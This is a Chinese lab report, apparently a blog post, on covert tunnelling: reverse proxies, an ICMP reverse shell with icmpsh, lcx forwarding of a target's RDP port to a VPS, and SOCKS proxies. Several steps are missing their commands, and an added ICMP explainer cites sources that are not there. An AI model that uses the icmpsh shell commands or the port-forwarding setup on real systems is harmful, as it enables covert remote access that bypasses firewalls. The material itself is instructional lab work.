构建隐藏通信隧道

实验目的与要求

实验目的

通过实验能够描述并运用网络层、传输层、应用层和SOCKS代理隧道技术。

实验要求

(1)理解反向代理,能够描述反向代理;

(2)理解网络层隧道,能够描述并运用网络层隧道技术;

(3)理解传输层隧道,能够描述并运用传输层隧道技术;

(4)理解应用层隧道,能够描述并运用应用层隧道技术;

(5)理解SOCKS代理,能够描述并运用SOCKS代理。

实验原理与内容

实验原理

(1)简述反向代理原理

反向代理是一种网络技术,用于在服务器端接收客户端请求,并将这些请求转发到内部网络的其他服务器上。其原理如下:

客户端发送请求:客户端向反向代理服务器发送请求,这个请求可能是访问网站、下载文件或执行其他网络操作。

反向代理接收请求:反向代理服务器接收到客户端的请求。

请求转发:反向代理服务器根据配置的规则,将请求转发到内部网络的一个或多个后端服务器上。

后端服务器处理请求:后端服务器接收到请求后,执行相应的操作,比如处理网页请求、生成动态内容、提供文件下载等。

响应返回:后端服务器生成响应,并将响应发送给反向代理服务器。

反向代理返回响应:反向代理服务器接收到后端服务器的响应后,将其发送回客户端。

反向代理的主要作用是隐藏了真实的后端服务器,客户端只与反向代理通信,无法直接访问后端服务器。这提供了安全性和负载均衡的优势。在安全方面,反向代理可以防止直接暴露后端服务器的 IP 地址和其他敏感信息,从而减少攻击风险。在负载均衡方面,反向代理可以根据负载情况将请求分发到多个后端服务器上,以提高性能和可靠性

实验内容

  1. 通过实例描述网络层隧道技术
  2. 通过实例描述传输层隧道技术
  3. 通过实例描述应用层隧道技术
  4. 通过实例描述SOCKS代理

实验过程与结果

  1. 通过实例描述网络层隧道技术

第一步首先在kali上安装impacket

在kali安装搭建icmpsh,并使用sysctl -w net.ipv4.icmp_echo_ignore_all=1

在icmpsh文件下使用./icmpsh_m.py 2.2.2.10 2.2.2.111,然后转到win7

然后查看本机ip,进入icmpsh下使用icmpsh.exe -t 2.2.2.10 -d 500 -b 30 -s 128转回kali查看

发现在kali终端已经进入win7cmd,然后输入whoami按图示来操作可获得win7IP信息

通过实例描述传输层隧道技术

在kali安装lcx_vuln.cn安装完成以后使用以下命令进行授权

端口映射

在目标机器上执行如下命令,将目标机器3389端口的所有数据转发到公网VPS3333端口上。

在kali终端输入rdesktop 2.2.2.10:2222

通过实例描述应用层隧道技术

重启ssh

观察端口是否打开

通过实例描述SOCKS代理

### ICMP 隧道的工作原理 ICMP (Internet 控制消息协议) 主要用于在网络设备之间传递控制信息错误报告。由于许多防火墙默认允许 ICMP 流量通过,这使得攻击者可以利用 ICMP 数据包来创建隐蔽通道,即所谓的 ICMP 隧道。 #### 工作机制 ICMP隧道的核心在于封装技术。通常情况下,正常的ICMP数据报只携带少量的信息,如回显请求或应答。但在构建ICMP隧道时,攻击者会将其他类型的网络流量(例如TCP/IP通信)嵌入到ICMP负载中[^1]。当这些被修改过的ICMP数据包到达目标主机后,专门设计的应用程序能够解析提取原始的数据流,从而实现绕过某些安全措施的目的。 #### 实现细节 为了建立一个有效的ICMP隧道,至少需要两部分组件: - **客户端软件**:负责发送带有隐藏有效载荷的ICMP Echo Request(Type 8),将接收到的标准Echo Reply中的内容解码还原成实际传输的数据。 - **服务器端应用**:接收来自互联网上的ICMP Echo Requests,从中抽取真实意图传达的消息;之后再构造相应的响应——通常是标准形式的Echo Replies(Type 0),其中包含了返回给发起者的反馈信息。 这种做法依赖于双方都安装有特定版本的支持该功能的应用层工具。此外,还需要注意的是,在现代网络安全环境中,越来越多的企业级防护系统已经开始加强对异常模式下的ICMP活动监测力度,因此纯粹依靠传统方法实施此类操作的成功率正在逐渐降低[^2]。 ```bash # 这里展示了一个简单的命令行示例,用来测试基本的ICMP连通性, # 不是真正的ICMP隧道代码。 ping -c 4 example.com ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

榴某

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值